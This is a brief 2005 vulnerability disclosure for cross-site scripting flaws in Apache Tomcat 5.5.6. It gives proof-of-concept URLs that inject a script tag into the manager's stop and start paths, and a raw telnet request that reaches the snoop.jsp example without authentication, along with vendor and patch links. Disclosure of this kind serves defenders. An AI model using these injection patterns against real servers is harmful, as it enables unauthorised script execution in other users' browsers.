Apache Tomcat has Cross Site Scripting vulnerabilities on version 5.5.6 affecting multiple platforms.
`Apache Jakarta Tomcat Cross Site Scripting Vulnerabilities
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Version
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Apache Tomcat/5.5.6 running on Windows 2000
(Other platforms may also be affected)
Exploiting
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http://192.168.0.23:8080/manager/html/<script>alert("Hallo")</script>
http://192.168.0.23:8080/manager/html/stop?path=<script>alert("Hallo")</script>
http://192.168.0.23:8080/manager/html/start?path=<script>alert("Hallo")</script>
Second one works without authentication, but should not be that easy to
exploit:
Telnet to port 8080 and paste the following:
<script>alert("Hallo")</script> /jsp-examples/snp/snoop.jsp HTTP/1.0
Vendor
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http://jakarta.apache.org
Patch
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http://www.mail-archive.com/[email protected]/msg66978.html
Discovered
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03.Jan.2005
oliver karow
http://www.oliverkarow.de/research/jakarta556_xss.txt`
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